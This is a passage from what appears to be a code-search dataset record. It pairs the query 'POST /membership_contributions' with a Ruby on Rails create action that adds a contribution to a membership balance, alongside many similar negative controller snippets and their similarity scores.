session[:email]\n end", "def index\n @user = User.find(params[:user_id])\n @lab_memberships = @user.lab_memberships\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lab_memberships }\n end\n end", "def destroy\n @membership_contribution.destroy\n respond_to do |format|\n format.html { redirect_to membership_contributions_url, notice: 'Membership contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def index\n @contributions = Contribution.where(text:\"\").order(points: :desc)\n respond_to do |format|\n format.json { render json: @contributions}\n end\n end", "def index\n @research_group_memberships = ResearchGroupMembership.all\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def create\n @contribution = Contribution.new(contribution_params)\n session[:contributor] = @contribution.contributor\n session[:email] = @contribution.email\n\n respond_to do |format|\n if @contribution.save\n format.html { redirect_to contributions_url, notice: '投稿しました' }\n format.json { render :index, status: :created, location: @contribution }\n else\n @contributions = Contribution.order(\"id DESC\").page params[:page]\n format.html { render :index }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def list_memberships(user)\n get(\"/#{user}/lists/memberships.json\")\n end", "def shared_contributions\n list = []\n self.permissions.each do |p|\n p.policy.contributions.each do |c|\n list << c unless c.nil? || c.contributable.nil?\n end\n end\n list\n end", "def index\n @memberships = Membership.all\n end", "def index\n @memberships = Membership.all\n end", "def index\n @memberships = Membership.all\n end", "def index\n authorize Group\n render :json => @group.group_memberships\n end", "def contribution_params\n params.require(:contribution).permit(:contribution_url, :contribution_category, :user_id, :username, category_ids: [] )\n end", "def show\n @memberships = @participant.memberships.all\n end", "def index\n @collaborations = Collaboration.where(:project_id => params[:project_id])\n respond_with @collaborations\n end", "def set_user_contribution\n @user_contribution = UserContribution.find(params[:id])\n end", "def total_contributions_message\n contribution_message(0)\nend", "def index\n @memberships = @organization.memberships.all\n end", "def new\n @membership = Membership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def show\n @contribution = Contribution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @contribution }\n end\n end", "def show\n @contribution = Contribution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @contribution }\n end\n end", "def split_contributions(org, repo)\n total_contributors = []\n page = 1\n contributions = @github.contributions_page(org, repo).to_a\n total_contributors.concat(contributions)\n total_contributors\n end", "def new\n @membership = Membership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @membership }\n end\n end", "def index\n @company_profile = CompanyProfile.find(params[:company_profile_id])\n @company_profile_memberships = @company_profile.company_profile_membership\n \n end", "def welcome\n @membership = Membership.find(params['subscription_id'])\n end", "def index\n #@projects = []\n if current_user\n #@projects = current_user.projects.where(\"memberships.status >= ?\", 1)\n end\n\n if params[:id]\n @project = Project.find(params[:id])\n authorize! :read, @project\n else\n @project = @projects.first\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render :action => 'show'}\n format.json { render json: @projects }\n end\n end", "def load_contributions\n @contributions = Hash.new\n repositories.each do |f|\n conts = get_contributions(f)\n @contributions[f] = conts unless conts.empty?\n end\n\n @contributions\n end", "def index\n @students_project_memberships = StudentsProjectMembership.all\n end", "def index\n @susu_memberships = SusuMembership.page(params[:page]).per(params[:per])\n\n render json: @susu_memberships\n end", "def memberships\n @list.client.get(\"#{url}/memberships\")\n end", "def show\n @colaboration = Colaboration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colaboration }\n end\n end", "def index\n @memberships = @memberships.order(:site_id, :role_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @memberships }\n end\n end", "def index\n @collaborations = Collaboration.all\n end", "def show\n @contribution = Contribution.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @contribution.to_xml }\n end\n end", "def create\n @membership = Membership.new(membership_params)\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to community_memberships_path(@community), notice: 'Community membership was successfully created.' }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def preview_node_contribution\n errors = []\n unless params[:contribution][:url].blank?\n embedly = EmbedlyService.new\n embedly.fetch_and_merge_params!(params)\n end\n @contribution = Contribution.update_or_create_node(params[:contribution], current_person)\n\n if @contribution.invalid?\n errors = @contribution.errors.full_messages\n elsif embedly and (embedly.bad_request? or embedly.not_found?)\n errors = [\"There was a problem retrieving information for '#{params[:contribution][:url]}'\"]\n elsif embedly and not embedly.ok?\n errors = ['There was a problem with our system. Please try again.']\n end\n\n ratings = RatingGroup.ratings_for_conversation_by_contribution_with_count(@contribution.conversation, current_person)\n\n respond_to do |format|\n if errors.size == 0\n format.js { render(:partial => \"conversations/new_contribution_preview\", :locals => { :div_id => params[:div_id], :layout => false, :ratings => ratings }) }\n format.html { render(:partial => \"conversations/new_contribution_preview\", :locals => { :div_id => params[:div_id], :layout => 'application', :ratings => ratings }) }\n else\n format.js { render :json => errors, :status => :unprocessable_entity }\n format.html { render :text => errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @memberships = @class_group.memberships\n @users = @class_group.users\n @student_memberships = @class_group.memberships.where(kind: 'student')\n @teacher_memberships = @class_group.memberships.where(kind: 'teacher')\n if session[:new_member_msg] == \"no_github_user\"\n @new_member = session[:new_member_id]\n elsif session[:new_member_msg] == \"successful_save\"\n @new_member = User.find(session[:new_member_id])\n @new_membership = Membership.find_by(class_group_id: @class_group.id, user_id: @new_member.id)\n else\n @new_member = nil\n end\n session[:new_member_msg] = nil\n session[:new_member_id] = nil\n end", "def api_v1_contribution_params\n params.fetch(:api_v1_contribution, {})\n end", "def show\n render json: @susu_membership\n end", "def get_contributions(obj, items)\n prefix = obj[\"DOI\"][/^10\\.\\d{4,5}/]\n\n Array(items).reduce([]) do |sum, item|\n orcid = item.split(':', 2).last\n orcid = validate_orcid(orcid)\n\n return sum if orcid.nil?\n\n sum << { prefix: prefix,\n message_type: \"contribution\",\n relation: { \"subj_id\" => orcid_as_url(orcid),\n \"obj_id\" => obj[\"pid\"],\n \"source_id\" => source_id,\n \"publisher_id\" => obj[\"publisher_id\"],\n \"registration_agency_id\" => \"datacite\",\n \"occurred_at\" => obj[\"issued\"] },\n obj: obj }\n end\n end", "def show\n @group = Group.find(params[:id])\n\n render json: @group.to_json(:include => {:memberships => {:only => [:admin], :include => {:user => {:only => [:id, :first_name, :last_name, :email]}}}})\n end", "def show\n @community = Community.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @community }\n end\n end", "def contribution_params\n params.require(:contribution).permit(:titulo, :url, :puntos, :text, :tipo, :user_id)\n end", "def create\n redirect_to '/auth/google_oauth2' unless user_is_logged_in?\n\n @contribution = Contribution.new(contribution_params)\n\n respond_to do |format|\n if @contribution.save\n format.html { redirect_to @contribution, notice: 'Contribution was successfully created.' }\n format.json { render :show, status: :created, location: @contribution }\n else\n format.html { render :new }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def contribution_params\n params[:contribution][:user_id] = current_user.id\n params.require(:contribution).permit(:title, :url, :text, :user_id)\n end", "def new\n @user = User.new\n @user.pending_memberships.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user }\n end\n end", "def index\n @communities = Community.all\n render json: {items: @communities}\n end", "def create\n @contribution = Contribution.new(params[:contribution])\n\n respond_to do |format|\n if @contribution.save\n format.html { redirect_to @contribution, notice: 'Contribution was successfully created.' }\n format.json { render json: @contribution, status: :created, location: @contribution }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n # @user = User.find(params[:user_id])\n # @communities = @user.communities\n @communities = Community.all\n end", "def index\n @team_memberships = current_user.team_memberships.where(status: 'pending')\n end", "def index\n @groups = Group.where('owner_id' => current_user.id)\n @memberships = Membership.all\n respond_with(@groups, @memberships)\n end", "def show\n @graph_membership_graph = GraphMembershipGraph.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @graph_membership_graph }\n end\n end", "def org_members\n @members = @github.orgs.members.list APP_CONF['org']\n render json: @members\n end", "def create\n @membership = Membership.new(params[:membership])\n @membership.member = current_member\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to sub_clubs_path, :notice => 'You requested membership.' }\n format.json { render :json => @membership, :status => :created, :location => @membership }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def contribution_params\n params.require(:contribution).permit(:titulo, :user_id, :url, :puntos, :text)\n end", "def create\n if params[:membership][:user_username]\n params[:membership][:user_id] = User.find_by_username(params[:membership].delete('user_username')).try!(:id)\n end\n\n @membership = @project.memberships.create(membership_params)\n respond_with @project, @membership\n end", "def create\r\n @contribution = Contribution.new(contribution_params)\r\n @contribution.contributable_type = \"Book\"\r\n @contribution.person = @person\r\n\r\n respond_to do |format|\r\n if @contribution.save\r\n format.html { redirect_to person_contributions_path(@person), notice: 'Contribution was successfully created.' }\r\n format.json { render action: 'show', status: :created, location: person_contributions_path(@contribution) }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def contributions_in_time_range(start_time: (Time.now.at_beginning_of_day - 24.hours).iso8601, \n end_time: Time.now.at_beginning_of_day.iso8601)\n request_uri = \"/contributions?destination=#{@entity.to_s}&\" +\n \"payment_timestamp=#{start_time.to_s}/\" +\n \"#{end_time.to_s}\"\n response = make_request(request_uri: request_uri, authentication: @auth)\n response[\"contributions\"]\n end", "def total_number_of_commit(repo_id)\n arr = contributors_list repo_id\n arr.first[:contributions]\n end", "def index\n @call_list_memberships = CallListMembership.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @call_list_memberships }\n end\n end", "def index\n @undergraduate_majors = UndergraduateMajor.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @undergraduate_majors }\n end\n end", "def update\n @contribution = Contribution.find(params[:id])\n\n respond_to do |format|\n if @contribution.update_attributes(params[:contribution])\n format.html { redirect_to @contribution, notice: 'Contribution was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7539071", "0.7446262", "0.6963958", "0.6885012", "0.6782966", "0.6730014", "0.6377492", "0.6276328", "0.62429464", "0.6183864", "0.6181945", "0.61777675", "0.6161134", "0.61412984", "0.60842884", "0.6059388", "0.60576326", "0.60520804", "0.6048188", "0.60459393", "0.603091", "0.5972637", "0.5954701", "0.59517735", "0.5929928", "0.5926127", "0.59241414", "0.59129435", "0.58849645", "0.5821368", "0.580324", "0.578774", "0.5765767", "0.576414", "0.57389957", "0.5735838", "0.5707612", "0.5668018", "0.5659357", "0.5659357", "0.56557584", "0.5652289", "0.5643029", "0.56387067", "0.56387067", "0.56387067", "0.56197715", "0.5616301", "0.5615769", "0.5609649", "0.5598843", "0.55909544", "0.5589881", "0.556435", "0.55496037", "0.55496037", "0.55496037", "0.55496037", "0.55464625", "0.55464625", "0.55382895", "0.55359864", "0.5514374", "0.5510732", "0.5498196", "0.54947513", "0.5487811", "0.5485491", "0.5466164", "0.54624283", "0.5460522", "0.54496384", "0.54474056", "0.5446616", "0.5440687", "0.5436499", "0.5426233", "0.54092026", "0.53770393", "0.53652716", "0.53618103", "0.5359701", "0.53577685", "0.5357622", "0.535516", "0.5351704", "0.5345581", "0.5345097", "0.53382504", "0.53373754", "0.5324198", "0.5322485", "0.53143674", "0.53134984", "0.5302158", "0.5301399", "0.52999246", "0.5299476", "0.5298248", "0.5294897", "0.5280844" ]
0.0
-1
POST /membership_contributions POST /membership_contributions.json
def create # byebug @membership_contribution = MembershipContribution.new(membership_contribution_params) @membership = MembershipBalance.find_by(params[:membership_id]) respond_to do |format| if @membership_contribution.save @a = MembershipContribution.all.last # @balance = MembershipBalance.find(params) @amount1 = @membership.balance + @a.amount @b = MembershipBalance.where(membership_id: @a.membership_id).update_all(balance: @amount1) format.html { redirect_to @membership_contribution, notice: 'Membership contribution was successfully created.' } format.json { render :show, status: :created, location: @membership_contribution } else format.html { render :new } format.json { render json: @membership_contribution.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def membership_contribution_params\n params.require(:membership_contribution).permit(:membership_id, :date, :amount)\n end", "def index\n @membership_contributions = MembershipContribution.all\n end", "def set_membership_contribution\n @membership_contribution = MembershipContribution.find(params[:id])\n end", "def create\n @membership = Membership.new(membership_params)\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to community_memberships_path(@community), notice: 'Community membership was successfully created.' }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def CreateMembership params = {}\n \n APICall(path: 'group_memberships.json',method: 'POST',payload: params.to_json)\n \n end", "def index\n user = User.find_by(id: params[:user_id])\n return respond_with contributions: [], status: :not_found if user.nil?\n contributions = user.contributions\n respond_with contributions: contributions, status: :ok\n end", "def contribution_params\n params.require(:contribution).permit(:contribution_url, :contribution_category, :user_id, :username, category_ids: [] )\n end", "def create\n @membership = Membership.new(params[:membership])\n @membership.member = current_member\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to sub_clubs_path, :notice => 'You requested membership.' }\n format.json { render :json => @membership, :status => :created, :location => @membership }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n #sanity checks, can only modify memberships that you own\n if params[:user_id].to_i != current_user.id then\n render json: {message:'You do not own the membership list'}, :status => :unprocessable_entity\n return\n end\n\n #ensure the membership params is there\n unless params.has_key? :memberships then\n #render json: {message:'memberships list not found'}, :status => :unprocessable_entity\n #return\n #this could me no membership at all\n params[:memberships] = {}\n end\n\n #set the new memberships state\n current_user.set_memberships params[:memberships]\n\n render json: {\n message:'message received from server',\n memberships:User.find(params[:user_id]).memberships.map{ |x| x.attributes.merge({club_name: x.club_name})}\n }\n end", "def create\n @contribution = Contribution.new(contribution_params)\n session[:contributor] = @contribution.contributor\n session[:email] = @contribution.email\n\n respond_to do |format|\n if @contribution.save\n format.html { redirect_to contributions_url, notice: '投稿しました' }\n format.json { render :index, status: :created, location: @contribution }\n else\n @contributions = Contribution.order(\"id DESC\").page params[:page]\n format.html { render :index }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contribution = Contribution.new(params[:contribution])\n\n respond_to do |format|\n if @contribution.save\n format.html { redirect_to @contribution, notice: 'Contribution was successfully created.' }\n format.json { render json: @contribution, status: :created, location: @contribution }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @membership = Adhocracy::Membership.new(membership_params)\n\n if @membership.save\n render json: @membership, status: :created, location: api_v1_membership_path(@membership)\n else\n render_validation_errors @membership.errors\n end\n end", "def update\n respond_to do |format|\n if @membership_contribution.update(membership_contribution_params)\n format.html { redirect_to @membership_contribution, notice: 'Membership contribution was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership_contribution }\n else\n format.html { render :edit }\n format.json { render json: @membership_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def createContributions(eventContributions)\n eventContributions.each do |contribution|\n contributor = User.find_by_email(contribution[1][\"email\"])\n contributor.setContribution!(self, contribution[1][\"amount\"], contribution[1][\"paid\"])\n end\n end", "def contribution_params\n params.require(:contribution).permit(:name, :email, :amount, :source, :stripeToken)\n end", "def create\r\n @contribution = Contribution.new(contribution_params)\r\n @contribution.contributable_type = \"Book\"\r\n @contribution.person = @person\r\n\r\n respond_to do |format|\r\n if @contribution.save\r\n format.html { redirect_to person_contributions_path(@person), notice: 'Contribution was successfully created.' }\r\n format.json { render action: 'show', status: :created, location: person_contributions_path(@contribution) }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def contribution_params\n params.require(:contribution).permit(:text, :contributor, :email)\n end", "def add_contribution(expense, amount)\n contribution = ExpenseContribution.new(:amount => amount)\n contribution.user = self\n contribution.expense = expense\n contribution.save!\n contribution\n end", "def increment_contributions\n contributions = self.contributions.nil? ? 0 : self.contributions\n contributions += 1\n self.save\n end", "def create\n @case_study = CaseStudy.new(params[:case_study].merge(:summary => 'Welcome to your new case study! May it bring joy to your life, and the lives of others.<hr>You can begin adding content by choosing Actions->Edit.'))\n\n respond_to do |format|\n if @case_study.save\n @contribution = @case_study.contributions.build(:user_id => current_user.id)\n @contribution.save\n format.html { redirect_to @case_study, notice: 'Case study was successfully created.' }\n format.json { render json: @case_study, status: :created, location: @case_study }\n else\n format.html { render action: \"new\" }\n format.json { render json: @case_study.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @membership = Membership.new(params[:membership])\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership, notice: 'Membership was successfully created.' }\n format.json { render json: @membership, status: :created, location: @membership }\n else\n format.html { render action: \"new\" }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_contribution(expense, amount)\n contribution = ExpenseContribution.new(amount: amount)\n contribution.user = self\n contribution.expense = expense\n contribution.save!\n contribution\n end", "def create\n @membership = @organization.memberships.build(membership_params.merge(creator: authed_user))\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership, notice: 'Membership was successfully created.' }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params[:membership][:user_username]\n params[:membership][:user_id] = User.find_by_username(params[:membership].delete('user_username')).try!(:id)\n end\n\n @membership = @project.memberships.create(membership_params)\n respond_with @project, @membership\n end", "def create\n @page = Page.new(params[:page])\n\n respond_to do |format|\n if @page.save\n @contribution = @page.contributions.build(:user_id => current_user.id)\n @contribution.save\n format.html { redirect_to @page, notice: 'Page was successfully created.' }\n format.json { render json: @page, status: :created, location: @page }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end", "def contribution_params\n params.require(:contribution).permit(:titulo, :url, :puntos, :text, :tipo, :user_id)\n end", "def contribution_params\n params.require(:contribution).permit(:titulo, :user_id, :url, :puntos, :text)\n end", "def create\n redirect_to '/auth/google_oauth2' unless user_is_logged_in?\n\n @contribution = Contribution.new(contribution_params)\n\n respond_to do |format|\n if @contribution.save\n format.html { redirect_to @contribution, notice: 'Contribution was successfully created.' }\n format.json { render :show, status: :created, location: @contribution }\n else\n format.html { render :new }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if (current_user)\n @contribution = Contribution.new(contribution_params)\n respond_to do |format|\n if @contribution.save\n format.html { redirect_to \"\" }\n format.json { render :index, status: :created, location: @contribution }\n else\n format.html { render :new }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n elsif (params[:contribution][:url] != nil && params[:contribution][:text] != nil) || \n (params[:contribution][:url] == nil && params[:contribution][:text] == nil) \n render :json => {:status => \"400\", :error => \"Bad Request\"}, status: :bad_request\n else\n miId = decodeToken(params[:user_token])\n @miuser = User.find(miId) # comprueba que no existe el user con exte token\n params[:contribution][:user_id] = miId\n params[:contribution][:puntos] = 0;\n @contribution = Contribution.new(contribution_params)\n respond_to do |format|\n if @contribution.save\n format.html { redirect_to \"\" }\n format.json { render :show, status: :created, location: @contribution }\n else\n format.html { render :new }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end \n end", "def index\r\n @contributions = @person.contributions\r\n end", "def create\n @membership = Membership.new(membership_params)\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership, notice: \"Membership was successfully created.\" }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def contribution_params\n params.require(:contribution).permit(:title, :text, :url)\n end", "def create\n @membership = @member.memberships.build(membership_params)\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership.member, notice: 'Member was successfully created.' }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if params.has_key?(:unbound_contributions)\n user = User.find_by(id: params[:user_id])\n ride = Ride.find_by(id: params[:ride_id])\n price = ride[:price]\n distance = user.rides.find_by(id: params[:ride_id])[:realtime_km]\n project_id = ride.project[:id]\n\n contribution_amount = price*distance\n user.update_attribute(:unbound_contributions, contribution_amount)\n user.contributions.update_attributes(amount: contribution_amount, project_id: project_id)\n user.rides.find_by(id: ride.id).update_attribute(:is_paid, true)\n render json: {:status => 200}\n else\n ride = Ride.find_by(id: params[:ride_id])\n new_ride = ride.requests.create!(passenger_id: params[:user_id], requested_from: params[:requested_from],\n request_to: params[:requested_to])\n unless new_ride.nil?\n respond_with ride: new_ride, anfrage: true, status: :created\n else\n respond_with ride: new_ride, anfrage: false, status: :bad_request\n end\n end\n end", "def create\n @membership = Membership.new(membership_params)\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to groups_path, notice: 'User was successfully added to group.' }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def contribution_params\n params[:contribution][:user_id] = current_user.id\n params.require(:contribution).permit(:title, :url, :text, :user_id)\n end", "def post(hash)\n HttpClient::Preconditions.assert_class('hash', hash, Hash)\n @client.request(\"/membership_requests\").with_json(hash.to_json).post { |hash| Apidoc::Models::MembershipRequest.new(hash) }\n end", "def get_contributions(repository)\n Git.contributions GithubAPI.name(@username), repository\n end", "def create\n @mission_membership = MissionMembership.new(mission_membership_params)\n\n respond_to do |format|\n if @mission_membership.save\n format.html { redirect_to @mission_membership, notice: 'Mission membership was successfully created.' }\n format.json { render :show, status: :created, location: @mission_membership }\n else\n format.html { render :new }\n format.json { render json: @mission_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_contribution(contribution_array, org, repo_name)\n user = create_user(contribution_array['author']['login'])\n repo = create_repo(org, repo_name)\n contributions = add_contributions(contribution_array)\n Commitchamp::Contribution.find_or_create_by(user_id: user.id, repo_id: repo.id) do |c|\n c.additions = contributions[:additions]\n c.deletions = contributions[:deletions]\n c.commits = contributions[:commits]\n end\n end", "def create\n @contribution = Contribution.new(params[:contribution])\n\n respond_to do |format|\n if @contribution.save\n flash[:notice] = 'Contribution was successfully created.'\n format.html { redirect_to(@contribution) }\n format.xml { render :xml => @contribution, :status => :created, :location => @contribution }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @contribution.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @contribution = Contribution.new(params[:contribution])\n\n respond_to do |format|\n if @contribution.save\n flash[:notice] = 'Contribution was successfully created.'\n format.html { redirect_to(@contribution) }\n format.xml { render :xml => @contribution, :status => :created, :location => @contribution }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @contribution.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @user = GetUserInfo.run(membership_params)\n if @user == :no_github_user\n session[:new_member_msg] = :no_github_user\n session[:new_member_id] = membership_params['nickname']\n redirect_to class_group_memberships_url\n return\n end\n if membership_params['teacher'] == 'on'\n kind = 'teacher'\n else \n kind = 'student'\n end\n @membership = Membership.new(\n user_id: @user.id,\n kind: kind,\n class_group_id: @class_group.id)\n respond_to do |format|\n if @membership.save\n session[:new_member_msg] = :successful_save\n session[:new_member_id] = @user.id\n format.html { redirect_to class_group_memberships_url, notice: 'Membership was successfully created.' }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def confirm_node_contribution\n @contribution = Contribution.unconfirmed.find_by_id_and_owner(params[:contribution][:id], current_person.id)\n @ratings = RatingGroup.default_contribution_hash\n\n respond_to do |format|\n if @contribution.confirm!\n Subscription.create_unless_exists(current_person, @contribution.item)\n format.js { render :partial => \"threaded_contribution_template\", :locals => { :contribution => @contribution, :ratings => @ratings }, :status => (params[:preview] ? :accepted : :created) }\n format.html { render :partial => \"threaded_contribution_template\", :locals => { :contribution => @contribution, :ratings => @ratings }, :status => (params[:preview] ? :accepted : :created) }\n else\n format.js { render :json => @contribution.errors, :status => :unprocessable_entity }\n format.html { render :text => @contribution.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @students_project_membership = StudentsProjectMembership.new(students_project_membership_params)\n\n respond_to do |format|\n if @students_project_membership.save\n format.html { redirect_to @students_project_membership, notice: 'Students project membership was successfully created.' }\n format.json { render :show, status: :created, location: @students_project_membership }\n else\n format.html { render :new }\n format.json { render json: @students_project_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @research_group_membership = ResearchGroupMembership.new(research_group_membership_params)\n\n respond_to do |format|\n if @research_group_membership.save\n format.html { redirect_to @research_group_membership, notice: 'Research group membership was successfully created.' }\n format.json { render action: 'show', status: :created, location: @research_group_membership }\n else\n format.html { render action: 'new' }\n format.json { render json: @research_group_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def membership_params\n params.require(:membership).permit(:gym_id, :client_id, :charge)\n end", "def create\n contribution = Contribution.new(submission: current_user)\n save game, :created\n end", "def destroy\n @membership_contribution.destroy\n respond_to do |format|\n format.html { redirect_to membership_contributions_url, notice: 'Membership contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def bulk_contributions(org, repo)\n total_contributors = split_contributions(org, repo)\n total_contributors.each do |x|\n self.create_contribution(x, org, repo)\n end\n end", "def mission_membership_params\n params.require(:mission_membership).permit(:user_id, :mission_id)\n end", "def index\n @contributions = Contribution.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contributions }\n end\n end", "def membership_params\n params.require(:membership).permit(:user_id, :year, :type, :stripe_card_token, :subscribe, privileges: [], membership: %i[info]).tap do |allowlisted|\n allowlisted[:info] = params[:membership][:info]\n end\n end", "def user_contribution_params\n params.require(:user_contribution).permit(:address_id, :year, :month, :contribution, :pay_at, :receiver_id, :payment_type, :blok,\n :description, :transaction_date, :imported_cash_transaction)\n end", "def ayty_replicate_memberships\n # usuario que sera atualizado\n @user = User.find(params[:id])\n\n @user.ayty_replicate_memberships_by_user_id(params[:ayty_user_stunt_id])\n\n respond_to do |format|\n format.html { redirect_to :controller => 'users', :action => 'edit', :id => @user, :tab => 'memberships' }\n format.js\n end\n end", "def ayty_replicate_memberships\n # usuario que sera atualizado\n @user = User.find(params[:id])\n\n @user.ayty_replicate_memberships_by_user_id(params[:ayty_user_stunt_id])\n\n @principal = Principal.find(@user.id)\n\n respond_to do |format|\n format.html { redirect_to edit_polymorphic_path(principal, :tab => 'memberships') }\n format.js\n end\n end", "def assign_past_contributor_contributions_to_user\n contributor = Contributor.find_by_email(email)\n if contributor\n contributor.contributions.update_all(:user_id => id, :contributor_id => nil)\n contributor.destroy\n end\n true\n end", "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end", "def new_membership_params\n params.require(:membership).permit(:conversation_id, :user_id)\n end", "def create\n\n @tea_club = TeaClub.new(tea_club_params)\n\n respond_to do |format|\n\n if @tea_club.save\n\n membership = Membership.new(:tea_club_id => @tea_club.id, :confirmed => true)\n current_user.memberships << membership\n membership.save\n\n format.html { redirect_to @tea_club, notice: 'Tea club was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tea_club }\n\n else\n format.html { render action: 'new' }\n format.json { render json: @tea_club.errors, status: :unprocessable_entity }\n end\n\n end\n end", "def create\n @contribution_record = ContributionRecord.new(params[:contribution_record])\n\n # must hook up the contributor names and addresses\n\n respond_to do |format|\n if @contribution_record.save\n format.html { redirect_to @contribution_record, notice: 'Contribution record was successfully created.' }\n format.json { render json: @contribution_record, status: :created, location: @contribution_record }\n format.xml { render xml => @contribution_record }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contribution_record.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @organization_membership = OrganizationMembership.new(organization_membership_create_params)\n # authorize @organization_membership\n\n if @organization_membership.save\n render json: @organization_membership, status: :created, location: nil\n else\n render json: @organization_membership.errors, status: :unprocessable_entity\n end\n end", "def create\n @team_membership = TeamMembership.new(team_membership_params)\n\n respond_to do |format|\n if @team_membership.save\n format.html { redirect_to @team_membership, notice: 'Team membership was successfully created.' }\n format.json { render :show, status: :created, location: @team_membership }\n else\n format.html { render :new }\n format.json { render json: @team_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @team_profile = TeamProfile.new(team_profile_params)\n\n respond_to do |format|\n action_message_for('new')\n if create_team_profile\n format.html { redirect_to redirect_target(@team_profile), flash: @feedback_flash }\n format.json { render :show, status: :created, location: @team_profile }\n else\n 5.times { @team_profile.team_memberships.new }\n 1.times { @team_profile.subsets.new }\n format.html { render :new }\n format.json { render json: @team_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "def membership_params\n params.require(:membership).permit(:student_id, :group_id)\n end", "def membership_params\n params.require(:membership).permit(:creator_id, :user_id, 